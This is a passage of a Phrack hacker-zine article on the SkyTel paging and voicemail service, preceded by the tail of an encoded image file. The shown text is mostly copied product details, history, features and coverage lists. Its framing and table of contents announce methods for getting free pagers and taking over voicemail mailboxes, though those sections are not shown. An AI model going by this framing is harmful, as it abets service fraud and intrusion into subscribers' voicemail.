M_H<?9V)@6&A1F#C6!X/`)X."`#SBUX7XQX4Z^(EPF#9_8V[P88EG=XJ[UH2/
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
8%?[TJ5]]ZU\?^]G7_O:YWWWOOZ$````[
`
end

==============================END UUENCODED GIF===============================

EOF





--------------------------------------------------------------------------------


                                .oO Phrack 50 Oo.

                            Volume Seven, Issue Fifty

                                     10 of 16
  
                         - Skytel Paging and Voicemail -
                                  The PBXPhreak
                               <pbx@crackhouse.com>

  If you weren't aware, Skytel is the largest nationwide paging and wireless
  messaging service in the United States.  If you want to use this to your
  advantage,  keep reading...

Table of Contents
~~~~~~~~~~~~~~~~~
  1.  Important SkyTel Numbers
  2.  History of SkyTel
  3.  SkyPager
  4.  SkyWord Pagers
  5.  SkyTel 2-Way Pagers
  6.  SkyTel Extras . The SkyNews and SkyQuote
  7.  SkyTel SkyFax Option.
  8.  SkyTalk Option
  9.  Sending a Message
  10. SkyTel Coverage
  11. International Access numbers to the SkyTel system.
  12. SkyTel accessible by Land, Sea or Air.
  13. Overview of SkyTel
  14. Getting Phree SkyTel Pagers
  15. Taking over a SkyTel Mailbox
  16. Prefixes for SkyTel Pagers and Voicemail
  17. Conclusion

1. Important SkyTel Numbers.

     800-456-3333 - Skytel Nationwide Sales Center
     800-SKY-USER - Skytel Customer Service 
     800-SKY-PAGE - Skytel Numeric Paging
     800-SKY-GRAM - Skytel Alpha-Numeric Paging
     800-SKY-TALK - Skytel Voice Mail
     800-SKY-FAXE - Skytel Faxing
     800-SKY-8888 - Skytel System Access

2. History of SkyTel.

   1987:

   - SkyTel founded; first nationwide paging and wireless messaging
     service.

   1988:

   - SkyTel offers first integrated voice messaging service: SkyTalk;
     provides instant notification of voice messages.

   1991:

   - Mtel, the parent company of SkyTel, presents the concept of two-way
     paging to the FCC.
   - SkyTel launches SkyWord - the first nationwide alphanumeric messaging
     service; subscribers can now receive text messages nationwide.
   - SkyTel goes international, offering service in Canada and Mexico.

   1992:

   - SkyTel develops an X.400 gateway; subscribers can now integrate email
     services with paging.
   - Mtel awarded a Pioneer's Preference by the FCC guaranteeing a license
     to deploy a two-way wireless communications network.

   1993:

   - SkyTel offers the first integrated information services - SkyNews,
     news headlines broadcast to a SkyWord pager; and SkyQuote, stock
     quotes broadcast to a SkyWord pager.
   - SkyTel expands its range of integrated email services announcing
     connectivity to Lotus cc:mail, Microsoft Mail, MCI Mail, and AT&T
     PersonaLink.
   - SkyTel expands international services to Asia Pacific and South
     America.

   1994:

   - Mtel announces an alliance with Microsoft to co-develop products and
     services for the Mtel two-way paging network.
   - SkyTel collaborates with Toshiba to offer the first PC Card for
     wireless messaging, the Noteworthy NewsCard, and offers the first
     integrated wireless messaging solution for notebook computers,
     SkyCard(r).
   - SkyTel offers SkyFax, providing a toll-free fax-mailbox with instant
     notification of incoming faxes for subscribers.
   - Mtel purchases two nationwide licenses in FCC narrowband PCS auctions.
   - Mtel acquires U.S. Paging Corp., a reseller of paging services to
     major corporations nationwide.
   - SkyTel provides an Internet gateway; subscribers can now send messages
     to SkyTel pagers through the Internet.

   1995:

   - SkyTel announces that MCI will resell SkyTel paging services as part
     of networkMCI products.
   - SkyTel announces agreement with SONY Electronics Inc. whereby SONY
     will distribute SkyTel pagers through retail network; this
     announcement marks the entry of SkyTel into the retail market.
   - SkyTel announces SkyTel 2-Way, the first two-way paging and wireless
     messaging service; subscribers can automatically confirm receipt of
     messages and respond directly from their pager.


3. SkyPager.

The SkyTel System keeps you in touch with clients, colleagues and family 
members when you're on the road. Now you can receive important information
quickly and accurately where you do business. People who need to reach you
dial one toll-free phone number.  You'll never have to leave a trail of 
telephone numbers or play another round of phone tag.

SkyPager Features

   - SkyPager can receive numeric messages up to 20 digits long.   
     This can be the telephone number of someone who needs you or a
     code (e.g., "911" if the office needs you to call in immediately).
   - Page Recall provides quick message retrieval for times when you've
     been out of coverage range or the pager has been turned off.
   - Message senders can broadcast one message to multiple subscribers,
     prioritize urgent messages and program messages for future delivery
     for time-zone differences.
   - Only SkyTel provides 24-hour a day, seven-day a week Customer Service,
     and all calls are always toll-free. Or, use SkyTel Customer Service
     Online to contact SkyTel.

Hardware Features:

   - New FLEX technology means longer battery life -- up to 5 months on
     one AAA battery.
   - Choice of several musical tones or silent vibration alert.
   - Holds up to sixteen 20-digit messages.


4. SkyWord Pagers:

With SkyWord, you can receive text messages accurately and quickly. You
know what's needed immediately, without picking up the phone to return the
call.

Skyword Features

   - Receive text messages up to 240 characters in a hand-held unit.
   - Receive notification of e-mail messages while you're on the road.
     SkyTel e-mail integration is compatible with various e-mail systems.
     Ask your SkyTel sales rep for details.
   - SkyNews(r) news headlines are provided twice daily. Stay up to date,
     even while traveling, on the economic, political, international and
     financial news of the day.
   - Page Recall provides quick message retrieval for times when you've
     been out of range or the pager has been turned off.

Sending Messages Is EASY!

   - Use SkyWord Access or QuickAccess software. All you need is a
     modem-equipped PC or Macintosh computer to easily send messages.
   - Your callers can dictate a text message to a SkyTel Customer Messaging
     Agent, toll-free 24-hours a day.

Hardware Features:

   - New FLEX technology means longer battery life -- up to 5 months on
     one AA battery.
   - Choice of several musical tones or silent vibration alert.
   - Receive up to forty, 240-character messages.

5. SkyTel 2-Way Pagers.

Imagine the freedom of getting a question and pushing one button to 
answer... from a pager small enough to fit in your hand. Your callers
get answers quickly and easily by telephone, computer, e-mail or even
on their SkyTel pager. And you reduce long-distance and cellular phone
expenses!

SkyTel 2-Way is the first and only service that allows you to respond to
a message from a pager.

The SkyTel 2-Way System acts as the clearinghouse for all outgoing and
incoming messages.

Messages to you:
People sending you messages (senders) can do so by:

   - phone (numeric, voice messages, or operator-assisted text messages)
   - computer (SkyTel Access or QuickAccess software, e-mail, or palmtop
     computer connection)

Messages from you:
And senders can get your response via:

   - phone
   - computer
   - SkyWord or SkyTel 2-Way pagers

Works with Other SkyTel Services:

SkyTalk: Full-featured voice mail lets senders leave a detailed message
         and then you call back to hear the reply.
SkyNews: Headline news provided twice daily.

The answer is in the palm of your hand With SkyTel 2-Way, your senders
become your partners in communications. They compose messages with
multiple-choice responses for you to choose from, such as:

   - CLIENT WILL SIGN $80K CONTRACT IF WE CAN DELIVER BY 4/7
   - PROCEED
   - DO NOT PROCEED
   - AWAIT MY CALL

Or if your sender does not define responses, select from one of your SkyTel
2-Way pager's 16 pre-programmed responses:

   - YES/OK
   - NO
   - WILL CALL LATER
   - CALL ME
   - RUNNING LATE
   - NEED MORE INFO
   - SEND # TO CALL
   - WHERE ARE YOU?
   - WILL ARRIVE 15M
   - WILL ARRIVE 30M
   - TRAFFIC DELAY
   - PICK ME UP
   - BUSY
   - FINISHED
   - CALL HOME

Senders can receive your response at their convenience, 24 hours a day by
phone, PC or SkyTel pager.

Unit Features And Operations

   - weighs about 5-1/2 ounces
   - runs for several weeks on single AAA-size alkaline battery
   - flip-top cover protects the unit and houses the transmitter used to
     send and receive messages
   - messages can be up to 500 characters long, including customized reply
     choices
   - "Personal Folder" stores messages in the 100 kilobyte memory; message
     length determines how many messages you can store

Sending Messages

With SkyTel 2-Way, anyone can send a message directly to SkyTel 2-Way
subscribers and receive their replies.

Message Sending Options:

   - Telephone keypad: Call toll-free from any touch-tone telephone to send
     a numeric message.
   - Voice messaging: Leave a detailed message (for SkyTalk subscribers).
   - Operator-assisted text messaging: Dial the SkyTel toll-free number and
     speak to a Customer Messaging Agent who will type and send your
     message.
   - Personal computer and modem: Use SkyTel AccessTM or QuickAccess
     software to compose and transmit messages on a modem-equipped
     computer.
   - E-mail: SkyTel 2-Way messages can be created and sent through any
     Internet-based e-mail system. Replies will be directed back to the
     e-mail address.
   - Palmtop computer connections: SkyTel 2-Way subscribers can link their
     Hewlett-Packard 100 or 200LXTM or OmniGo 100 palmtop computer to a
     SkyTel 2-Way pager. Subscribers can then compose, transmit, receive,
     relay, store and reply to SkyTel 2-Way messages.

Receiving Replies

With SkyTel 2-Way, senders know for certain whether their message was
received and can easily check for their reply. Check each message sent over
The SkyTel 2-Way System using these convenient options:

Message Tracking and Reply Options

   - Telephone: Whenever you send a message (by telephone or otherwise),
     SkyTel assigns a unique confirmation number to that message. Senders
     can call The SkyTel 2-Way System later and use the confirmation number
     to check the status of the message and/or get their reply.
   - Personal computer and a modem: Use SkyTel Access software to compose
     and transmit messages. Then use the confirmation number to check the
     status of messages and/or get your reply.
   - E-mail: When you send a message via e-mail to a SkyTel 2-Way
     subscriber, you'll receive your reply at your e-mail address.
   - Pagers: Replies can be forwarded to a SkyWord (alphanumeric) or
     SkyTel 2-Way pager.

6. SkyTel Extra Features.

SkyNews Features:

   - Four headlines are broadcast twice each day - 12:30pm and     
     5:00pm ET Monday Friday, 2:00 and 7:00pm ET Saturday and
     Sunday.
   - Headlines are transmitted FREE to all SkyWord and SkyTel 2-Way
     pagers.
   - Headline topics include: U.S. politics, U.S. business and economic
     news, international events, Dow Jones industrial average updates and
     the performance of leading stocks.
   - In addition to the regular broadcasts, news alerts are sent as crucial
     events occur in the U.S. or abroad.

SkyNews Special Editions:

If you need news about your specific industry, subscribe to SkyNews Special
Editions.  Headlines are available about the following industries:

           Finance
           Telecommunications
           Information Highway
           Media

There is an additional charge for SkyTel special editions.

SkyQuote Features:

Keep tabs on Wall Street with SkyQuote-the personalized financial   
news service on SkyTel text messaging units. With SkyQuote, you'll
be alerted twice each business day with pricing updates on four stocks or
exchange indexes. You provide us with the stocks, choose the timing of your
updates, and SkyTel will do the rest.

Your messaging unit will alert you with the price of the most recent trade
for each of the four companies you have selected. You will also receive Dow
Jones headline alerts when significant news breaks on your selected
companies.

7. SkyTel SkyFax Option.

Whoever invented the fax machine apparently didn't know much about doing
business on the road. After all, you can't take the machine with you. It
has very little interest in your schedule. And critical faxes have a way of
arriving at the wrong place, and the wrong time.

SkyFax Features:

   - You are assigned a personal toll-free number that people use to send
     you faxes.
   - Notification on your SkyPager or SkyWord pager that a fax has
     arrived in your mailbox.
   - Dial a toll-free number to download the fax to fax machine of your
     choice.
   - SkyFax even works with your portable computer's send/receive fax
     software.

SkyFax Benefits:

SkyFax offers total control over how and where people reach you with
important fax messages.

   - Toll-free number reduces long-distance charges.
   - Download faxes at YOUR convenience.
   - Senders don't have to know your travel schedule in order to send you
     faxes -- you'll never miss an important fax.
   - Your documents remain confidential, because you're in control.

8. SkyTel SkyTalk Option.

Now, when you travel, The SkyTel System will let you give the people who
need to stay in touch with you one toll-free phone number where you can
always be reached. Even if they don't know exactly where you are, they'll
be able to call a single number and leave a voice message in your SkyTalk(r)
voice mailbox. You'll be notified quickly that a message is waiting. Then
you can retrieve it whenever you want.

SkyTalk can also be used to send information to a whole group of people
simultaneously with one phone call. Even if they're spread across Phoenix,
Los Angeles, Boston and Miami, everyone will be notified in minutes.

SkyTalk Features

   - SkyTalk is an easily-accessible toll-free voice mail system that
     notifies you when you have a message on your SkyPager, SkyWord or
     SkyTel 2-Way pager.
   - Personal toll-free access numbers are available to provide callers
     with easy access to your voice mail. You can even forward your office
     number to your toll-free Personal Access Number when you're traveling
     so every caller can leave a message for you.
   - You can access other parts of The SkyTel System easily, without
     hanging up the phone. For example, you can reply directly to messages
     from other subscribers, broadcast messages to a subscriber list and
     redirect messages to other subscribers.

Additional SkyTalk Features

   - Personalized voice mail greeting -- your own words in your own voice.
   - Security code to prevent unauthorized access.
   - Spanish and Japanese language prompts available.
   - Messages up to 5 minutes in length.
   - Stores up to 20 messages for up to 14 days.
   - Unretrieved messages stored for 72 hours.
   - Toll-free access to your messages from over 40 countries around the
     world (surcharge may apply).

9. Sending a Message.

     Make it simple for your clients and colleagues to remember how to
     send you a message. Just include the instructions on your
     business card! On the front, list the SkyTel 800 number and your
     PIN along with all your other numbers. For more detailed
     instructions, use the back of your card. These instructions can
     be pre-printed on the card or printed on a sticker for attachment
     later. To get started, please see the SkyWord example below.

                             Sending Me A Page

                            Dial 1-800-759-8888
                             Enter PIN, press #
                      Numeric message--press 1, then #
                       Voice message--press 2, then #
                         Dictated message--press 3
                               Press # to end

10. SkyTel Coverage.   

SkyTel is the best single source for all of your messaging needs. For
locally, nationally and internationally. People everywhere are taking
advantage of SkyTel coverage flexibility. Whatever your lifestyle requires,
SkyTel will easily provide a coverage plan that works for you.

SkyPager and SkyWord Coverage Plans Include:

Metro Service:

If your business is conducted primarily in one metro area or state, but
requires occasional travel to other parts of the country, The SkyTel System
with Metro Service and Nationwide Now is your cost-effective messaging
solution.

Metro Plus:

A broader 2- to 6-state zone. There are 21 pre-defined Metro Plus zones,
each with nationwide access through Nationwide Now.

Regional/Region Plus:

East, West, Central, Southeast, Southwest or Midwest. Two regions can be
combined (Region Plus service) for maximum coverage. Each can include
Nationwide Now (Region Plus service is available for SkyPager only).

Nationwide:

Coverage in thousands of cities and towns across the United States.
(SkyPager only)

Nationwide Now:

Nationwide Now is an exclusive SkyTel coverage feature that allows you to
access our nationwide network when you travel out of your home coverage
area.

International:

SkyTel International Service can be used in conjunction with any U.S.-based
coverage plan:

   - Simulcast service: Messages are always transmitted to U.S. and the
     country(ies) of your choice.

   - Follow-Me: Allows you to activate coverage (with a quick call into The
     SkyTel System) to receive messages while traveling abroad. You choose
     the country(ies) and length of time for international coverage.

   - International coverage is available in the following countries:

     Argentina
     Bahamas
     Bermuda
     Brazil
     Canada
     Colombia
     Ecuador
     Guatemala
     Hong Kong
     Indonesia
     Malaysia
     Mexico
     Peru
     Philippines
     Puerto Rico
     Singapore
     Uruguay (coming soon)
     Venezuela

     In the places you travel most, SkyTel goes along with you, giving
     you reliable, efficient communications. Here's just a partial
     listing of the United States and international coverage areas.

     Skytel has a wide coverage area. I only listed U.S. cities with
     a population of 75,000 or more.

     ALABAMA
     Birmingham
     Huntsville
     Mobile
     Montgomery
     Tuscaloosa

     ARIZONA
     Chandler
     Glendale
     Mesa
     Phoenix
     Scottsdale
     Tempe
     Tucson

     ARKANSAS
     Little Rock

     CALIFORNIA
     Alameda
     Alhambra
     Anaheim
     Arden-Arcade
     Bakersfield
     Berkeley
     Burbank
     Carson
     Chula Vista
     Citrus Heights
     Compton
     Concord
     Corona
     Costa Mesa
     Daly City
     Downey
     E. Los Angeles
     El Cajon
     El Monte
     Escondido
     Fairfield
     Fremont
     Fresno
     Fullerton
     Garden Grove
     Glendade
     Hayward
     Huntington Beach
     Inglewood
     Irvine
     Lancaster
     Long Beach
     Los Angeles
     Modesto
     Moreno Valley
     Norwalk
     Oakland
     Oceanside
     Ontario
     Orange
     Oxnard
     Pasadena
     Pomona
     Rancho Cucamonga
     Richmond
     Riverside
     Sacramento
     Salinas
     San Bernadino
     San Buenaventura
     San Diego
     San Francisco
     San Jose
     San Mateo
     Santa Ana
     Santa Barbara
     Santa Clara
     Santa Clarita
     Santa Monica
     Santa Rosa
     Simi Valley
     South Gate
     Stockton
     Sunnyvale
     Thousand Oaks
     Torrance
     West Covina
     Westminster
     Whittier

     COLORADO
     Arvada
     Aurora
     Boulder
     Colorado Springs
     Denver
     Ft. Collins
     Lakewood
     Pueblo

     CONNECTICUT
     Bridgeport
     Hartford
     New Britain
     New Haven
     Norwalk
     Stamford
     Waterbury

     DISTRICT OF COLUMBIA
     Metro Area

     FLORIDA
     Clearwater
     Coral Springs
     Ft. Lauderdale
     Gainesville
     Hialeah
     Hollywood
     Jacksonville
     Kendall
     Miami
     Miami Beach
     Orlando
